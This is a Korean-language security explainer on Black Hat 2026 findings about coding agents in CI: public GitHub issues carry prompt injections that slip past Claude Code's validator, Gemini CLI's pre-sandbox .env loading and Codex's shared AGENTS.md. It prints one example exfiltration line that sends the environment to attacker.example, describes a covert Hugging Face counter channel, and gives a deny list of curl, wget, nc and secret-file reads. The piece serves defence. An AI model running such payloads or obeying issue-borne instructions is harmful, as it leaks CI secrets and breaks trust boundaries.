GitHub 이슈 → CI 시크릿: Black Hat 2026 코딩 에이전트 공격
- 공개 GitHub 이슈가 왜 CI 워크플로 시크릿에 도달할 수 있는지 이해하기 — 공격자 쪽에는 저장소 권한이 전혀 없는데도
- CVE-2026-54316 추적: 작은따옴표 제거가 `git push --receive-pack='…'`를 Claude Code의 23개 검증기를 통과시킨 방식
- CVE-2026-12537 추적: 조작된 `.gemini/.env`가 샌드박스가 시작되기 전에 CI 호스트에서 실행된 CVSS 10.0 결함
- 세 번째 패턴(OpenAI Codex + AGENTS.md) — CVE는 아니었지만 논쟁의 여지가 있을 만큼 더 나빴던: 지시 파일 자체를 통한 지속성
- 권한 범위, 샌드박스 모드, 허용 목록 시행, 거부 규칙 등 이 전체 버그 클래스를 막는 구체적 CI 강화 체크리스트 배포
2026년 8월 5일 Black Hat USA에서 Novee Security의 Elad Meged와 Pillar Security의 Dan Lisichkin은 코딩 에이전트가 CI에 도입된 이래로 업계가 조용히 우려해온 것을 시연했습니다: 저장소 권한이 전혀 없는 낯선 사람이 GitHub 이슈를 등록하고 CI 러너에서 원격 코드 실행을 얻을 수 있다 — 왜냐하면 이슈를 자동 트리아지하기 위해 설정한 CI 워크플로가 그 이슈 본문을 지시문으로 코딩 에이전트에 넘겨주기 때문입니다.
세 취약점 중 두 개는 CVE와 패치를 받았습니다. 세 개 모두 같은 종류의 버그입니다: 컴포넌트 사이 인계 지점에서 깨진 신뢰 경계 — 검증기 대 실행기, 부모 대 자식 프로세스, 한 에이전트 패스 대 다음 패스.
이것이 왜 새로운 실패 모드인가
자동 트리아지는 종이 위에서는 안전해 보입니다. GitHub Actions 워크플로가 issues.opened에서 발화하고, 저장소를 체크아웃하고, Claude Code / Gemini CLI / Codex를 "이슈 본문을 읽고, 수정을 제안하고, PR을 열어라" 같은 것으로 띄웁니다. 에이전트는 컨테이너에서 실행되고, 러너는 범위가 지정된 토큰을 갖고 있고, 모두가 안심합니다.
문제는 이슈 본문이 프롬프트 — 에이전트가 해석할 신뢰할 수 없는 자연어라는 점입니다. 프롬프트 인젝션은 2022년부터 알려져 있습니다. Novee가 보여준 것은 벤더들이 이를 격리했다고 생각했을 때조차도(검증기, 샌드박스, 도구 허용 목록), 그 계층들 사이의 인계 지점은 지켜지지 않았다는 것입니다. 공격자는 단일 방어를 격파할 필요가 없습니다 — 한 컴포넌트가 "안전"하다고 말하고 다음 컴포넌트가 그에 따라 행동한 이음새를 통해 페이로드를 슬쩍 넣습니다.
- GitHub Actions 워크플로가 제한되지 않은 브랜치에서 `issues.opened`, `issue_comment.created` 또는 `pull_request_target`에 코딩 에이전트를 호출하고, Claude Code를 ≥ 2.1.163으로 또는 Gemini CLI를 ≥ 0.39.1 / run-gemini-cli ≥ 0.1.22로 업그레이드하지 않았다면, 워크플로 시크릿을 손상된 것으로 취급하십시오. 순환한 다음 업그레이드하십시오.
세 취약점, 한 그림으로
- 포크도, PR도, 저장소 쓰기 권한도 필요 없음 — 그저 공개 저장소에 이슈를 등록할 능력만. 워크플로 트리거 `issues.opened`가 자동으로 발화합니다.
- GITHUB_TOKEN, ANTHROPIC_API_KEY, 그리고 워크플로 env의 모든 시크릿이 이제 에이전트가 실행되는 동안 러너의 환경에 있습니다.
- 여기서 세 취약점이 갈라집니다 — 하지만 세 개 모두 같은 결과에 도달합니다: 공격자 코드가 러너의 env에 접근할 수 있는 호스트에서 실행됩니다.
- Novee는 Hugging Face의 공개 다운로드 카운터(요청당 증가)를 사용하여 API 키를 한 문자씩 유출했습니다 — 이국적인 C2가 필요 없이 러너가 이미 신뢰하는 도메인을 사용.
CVE-2026-54316 — Claude Code: 작은따옴표 제거
수정 버전: Claude Code 2.1.163(0.2.54부터 2.1.162까지 모두 영향).
CVSS: v3.1 9.1(Anthropic은 v4 6.0 / Moderate로 평가; NVD는 9.1로 등재).
근본 약점: 명령어 검증기가 23개의 안전 검사를 실행하기 전에 작은따옴표로 묶인 내용을 제거합니다. 이는 bash-정확합니다: bash는 작은따옴표를 리터럴 전용으로 취급합니다. 문제는 git이 --receive-pack='…'를 원격 측에서 exec할 값을 가진 플래그로 취급한다는 점입니다.
결과: 검증기는 페이로드가 지워진 무해한 명령을 봅니다; git은 페이로드를 실행하는 플래그를 봅니다.
페이로드 형태(예시 — 방어자를 위한 것, 실행하지 마시오)
git push --receive-pack='sh -c "curl https://attacker.example/x?d=$(env | base64)"' origin HEAD
주목할 두 가지:
- 검증기들이 개별적으로 틀린 것은 아닙니다. 작은따옴표를 제거하는 것은 bash가 하는 일입니다.
git push를 허용하는 것은 코딩 에이전트가 반드시 해야 하는 일입니다. 각 계층은 격리된 상태에서 정확합니다; 그 사이의 이음새가 버그입니다. - 유출 채널이 이국적일 필요는 없습니다. Novee의 PoC는
huggingface.co를 사용했습니다 — 어떤 코딩 에이전트든 아웃바운드 허용 목록에 있을 도메인 — 은밀한 카운터로서, 유출된 시크릿의 문자당 한 번씩 통제된 모델 저장소의 다운로드 수를 증가시켰습니다. 이그레스 정책이 "명백한" C2만 차단한다면, 이것은 그것을 우회합니다.
1.5년의 노출 기간(2025년 초에 취약한 검사를 배포한 도구에서 2026년 8월에 수정됨)이 무서운 부분입니다: 이 버그는 100개 이상의 릴리스를 거쳐 살아남았습니다. 아무도 다운스트림 도구의 값 시맨틱스에 대해 검증기를 퍼징하지 않았기 때문입니다.
CVE-2026-12537 — Gemini CLI: 샌드박스 이전 .env
수정 버전: @google/gemini-cli 0.39.1, run-gemini-cli GitHub Action 0.1.22(그리고 0.40.0-preview.3).
CVSS: 4.0 — 완벽한 10.0.
CWE: 78(OS 명령 인젝션) + 20(부적절한 입력 검증).
근본 원인: 헤드리스 CI 모드에서 Gemini CLI는 워크스페이스 폴더를 자동으로 신뢰하고 컨테이너 샌드박스가 뜨기 전에 .gemini/.env를 로드했습니다. PR 브랜치에 커밋된(또는 이전 단계에서 체크아웃에 떨어뜨려진) 악성 .gemini/.env가 러너의 전체 환경(GITHUB_TOKEN 포함)으로 호스트에서 실행되었습니다.
두 가지 복합적 실패가 있었습니다:
- CI에서 자동 워크스페이스 신뢰. 대화형 모드에서는 "이 폴더를 신뢰하시겠습니까?" 프롬프트가 나옵니다. 헤드리스 모드에서는 아무것도 없었습니다 — 워크스페이스가 기본으로 신뢰되었으므로, 체크아웃하는 어떤 저장소든 자체 에이전트 구성을 가져올 수 있었습니다.
--yolo는 도구 허용 목록을 완전히 우회했습니다 — "느슨하게 만든" 것이 아니라, 무시했습니다. 사용자가 신중하게 작성한 세밀한settings.json허용 목록은--yolo가 설정되었을 때 런타임 경로에서 컴파일되어 빠졌습니다. Novee는 이 형태를 "허용 목록은 등록 시에만 파싱됨; 런타임에는 시행되지 않음"이라고 명명했습니다.
도달 가능성의 함의는 나빴습니다: run-gemini-cli는 공개 시점에 큰 설치 기반을 갖고 있었고, 익스플로잇이 캡처한 토큰은 액션 자체 저장소에 푸시할 수 있었습니다 — 순환으로 잡히지 않는다면 약 2M 다운스트림 설치에 대한 공급망 발판입니다.
수정은 신뢰 모델에 대한 파괴적 변경입니다: 워크스페이스는 이제 명시적으로 신뢰되어야 하며, --yolo는 여전히 허용 목록을 존중합니다.
OpenAI Codex 세 번째 사례 — CVE 없음, 논쟁의 여지가 있을 만큼 더 나쁨
OpenAI의 Codex는 같은 종류의 보고를 받았지만 CVE를 발행하지 않았습니다 — 그들의 입장은 샌드박스가 문서화된 그대로 정확히 동작했다는 것입니다. Novee가 보여준 것은 AGENTS.md 자체를 통한 지속성 경로였습니다:
- 두 Codex 패스가 하나의 워크스페이스 체크아웃을 공유했습니다.
- 패스 1(격리, 읽기 전용 의도)이 신뢰할 수 없는 이슈 본문을 처리했습니다.
- 이슈 본문의 주입된 지시가 패스 1에게
AGENTS.md에 새로운 내용을 쓰도록 지시했습니다. - 패스 2(권한 있음)가 시작되어, 디스크에서
AGENTS.md를 권위 있는 지시로 로드하고, 공격자의 명령을 따랐습니다.
검증 게이트는 패스 1의 출력 형식을 확인했지, 패스 1이 남긴 파일 시스템 상태를 확인하지 않았습니다. 지속성은 데이터 경로가 아니라 디스크를 통해 이동했습니다.
OpenAI의 완화책: 패스를 서로 다른 잡으로 분리(공유 워크스페이스 상태가 없도록)하고 검증 패스에 읽기 전용 샌드박스를 사용합니다. 둘 다 패치된 Claude Code와 Gemini CLI에서도 스스로 구성할 수 있고 — 그리고 해야 하는 — 것입니다. 왜냐하면 이 패턴은 Codex에 국한된 것이 아니기 때문입니다. 다단계 에이전트 워크플로가 쓰기 가능한 지시 파일과 워크스페이스를 공유하는 곳이면 어디든, 같은 공격이 가능합니다.
공통된 형태
다음 CVE에도 살아남는 방어
먼저 업그레이드하십시오 — Claude Code ≥ 2.1.163, @google/gemini-cli ≥ 0.39.1, run-gemini-cli ≥ 0.1.22. 그런 다음 워크플로 자체를 강화하여 다음 인계 버그가 위기가 되지 않도록 하십시오.
- `issues.opened`, `issue_comment.created`, 그리고 포크에서의 `pull_request_target`은 공격자가 통제하는 콘텐츠를 시크릿과 함께 워크플로에 넣습니다. 반드시 해야 한다면, 저장소 쓰기 리뷰어 레이블(예: 유지관리자의 `/agent-run` 댓글)에 게이트를 두십시오 — 그것은 인간의 결정을 루프에 다시 추가합니다.
- 워크플로 또는 잡 수준에서 `permissions:`를 최소로 설정하십시오(`contents: read`, 댓글이 필요한 경우에만 `issues: write`). 기본 `write-all`을 남기지 마십시오. 앰비언트 GITHUB_TOKEN보다 하나의 저장소로 범위가 지정된 수명이 짧은 세밀한 PAT를 고려하십시오.
- 패스 1: `permissions: read-all`(또는 그 이하)와 시크릿 없이 잡에서 이슈를 읽으십시오. 구조화된 아티팩트를 방출하십시오. 패스 2: 필요한 자격 증명을 가진 별도의 잡에서, 스키마 검증 후 아티팩트에 대해 작동하십시오. 그들 사이에 워크스페이스를 절대 공유하지 마십시오(이것은 Codex 자체의 완화책입니다).
- 에이전트 자체의 권한 시스템을 구성하여 Env/`.env`/`id_rsa`/`*.pem` 읽기, 알 수 없는 호스트로의 curl, 파괴적 셸 동사를 거부하십시오. 아래 예시를 보고 [공격받는 코딩 에이전트](/docs/security/coding-agents-under-attack)를 패턴으로 상호 참조하십시오.
- 자체 호스팅 러너: 이그레스를 작은 허용 목록으로 방화벽 처리. GitHub 호스팅: 완전히 방화벽 처리할 수는 없지만, 은밀한 채널은 떨어뜨릴 수 있습니다 — 에이전트의 도구 허용 목록을 설정하여 임의 호스트로의 `curl`/`wget`/`fetch`를 거부하십시오. 실제로 필요하지 않은 한 `huggingface.co`, `pastebin.com`, 또는 `*.workers.dev`를 허용 목록에 넣지 마십시오.
- 워크플로의 어떤 단계라도 공격자가 통제하는 콘텐츠에서 실행되었다면, 워크스페이스(모든 `.env`, `AGENTS.md`, `CLAUDE.md`, `.gemini/`, `.codex/` 포함)는 오염되었습니다. 권한 있는 패스에 대한 신선한 체크아웃 — 또는 명시적 재검증.
- CVE-2026-54316의 유출은 `huggingface.co`로의 문자당 한 개의 HTTP 요청이었습니다. 도구 호출 로그는 그것을 비명 지르는 경보로 만듭니다. 없다면, 그것은 정상적인 에이전트 트래픽처럼 보입니다.
- GITHUB_TOKEN은 잡과 함께 자동 만료되지만, ANTHROPIC_API_KEY, GEMINI_API_KEY, 그리고 모든 사용자 정의 시크릿은 그렇지 않습니다. 워크플로가 공격자 콘텐츠에 대해 취약한 버전을 실행했다면, 사용의 증거를 보든 안 보든 상관없이 순환시키십시오.
CI 에이전트를 위한 최소 실행 가능 거부 목록
CI 실행을 위한 Claude Code 권한 프래그먼트(설정에 맞게 조정)
{
"permissions": {
"deny": [
"Read(./.env)",
"Read(./.env.*)",
"Read(./**/*.pem)",
"Read(./**/id_rsa*)",
"Read(./**/.git/config)",
"Bash(curl:*)",
"Bash(wget:*)",
"Bash(nc:*)",
"Bash(git push:*)",
"Bash(git remote:*)",
"Bash(rm -rf:*)",
"Bash(chmod:*)"
],
"allow": [
"Read(./src/**)",
"Read(./docs/**)",
"Edit(./src/**)"
]
}
}명시적인 git push:* 거부에 주목하십시오 — 그것이 가상의 미래 검증기 버그에서도 CVE-2026-54316 익스플로잇 벡터를 닫는 것입니다: 에이전트는 애초에 푸시할 권한을 가진 적이 없었습니다.
더 안전한 GitHub Actions 형태
`.github/workflows/agent-triage.yml` — 최소 권한 패턴
name: agent-triage
on:
# Don't fire on unrestricted 'issues.opened' — gate on a reviewer label
issues:
types: [labeled]
permissions:
contents: read
issues: write # only to comment on the issue
jobs:
# Pass 1: parse untrusted input, NO secrets besides the ambient token
parse:
if: github.event.label.name == 'agent-triage'
runs-on: ubuntu-latest
outputs:
summary: ${{ steps.extract.outputs.summary }}
steps:
- uses: actions/checkout@v4
- id: extract
env:
ISSUE_BODY: ${{ github.event.issue.body }}
run: |
# Emit a structured, schema-validated summary — not raw prompt
node ./scripts/extract-issue-facts.js > out.json
echo "summary=$(jq -c . out.json)" >> "$GITHUB_OUTPUT"
# Pass 2: privileged, in a fresh workspace, on validated data only
act:
needs: parse
runs-on: ubuntu-latest
permissions:
contents: read
issues: write
steps:
- uses: actions/checkout@v4 # fresh checkout — pass 1's workspace is gone
- name: Validate parse output
run: node ./scripts/validate-summary.js '${{ needs.parse.outputs.summary }}'
- name: Run coding agent on validated summary
env:
ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
run: |
# Agent sees ONLY the validated summary, never the raw issue body
claude --permission-mode plan --input-file summary.json중요한 세 가지 구조적 속성:
on: issues.types: [labeled]+ 레이블 이름 확인 = 유지관리자가 레이블을 추가해야 하므로, 무작위 낯선 사람이 워크플로를 발화시킬 수 없습니다.- 두 잡 = 두 워크스페이스. 패스 1의 쓰기(주입된
AGENTS.md포함)는 패스 2로 살아남지 않습니다. - 패스 사이의 스키마 검증. 패스 2는 원시 텍스트가 아닌 타입이 지정된 JSON을 받으므로, 인젝션이 주입할 것이 없습니다.
스스로 확인하기
스스로 확인하기
0/5출처 및 추가 자료
- Novee Security — Black Hat 2026: Critical Flaws in Anthropic, Google, and OpenAI's Coding Agents(공격 체인이 포함된 주요 출처)
- Novee Security — Update to Gemini CLI and run-gemini-cli Trust Model(패치 가이던스)
- The Hacker News — Claude Code and Gemini CLI Flaws Let a GitHub Issue Reach CI Workflow Secrets
- GitHub Advisory Database — GHSA-jj69-4grx-fqj5 (CVE-2026-12537, Gemini CLI)
- NVD — CVE-2026-54316 (Claude Code)
- CSO Online — Max-severity RCE flaw found in Google Gemini CLI
- GitHub Docs — Hardening for GitHub Actions(
permissions:및pull_request_target가이던스의 기준선)
AILmanac 관련 자료
- 코딩 에이전트가 무기화될 때 — 자매 클래스(Friendly Fire + JADEPUFFER); 이 페이지 후에 읽으십시오
- 자율 실행 강화 — CI뿐만 아니라 무인 에이전트를 위한 일반 체크리스트
- 프롬프트 인젝션 설명 — 이 이음새에 도달하는 데 사용되는 근본 메커니즘
- 에이전트 및 도구 보안 — 권한 범위 지정 패턴
- 서드파티 코드 검토 — 플러그인, 스킬 또는 MCP 서버를 가져오기 전 동일한 신뢰 질문
- 보이지 않는 주석 MCP 공격 — 다른 표면에서 관련된 "데이터에 숨겨진 지시" 패턴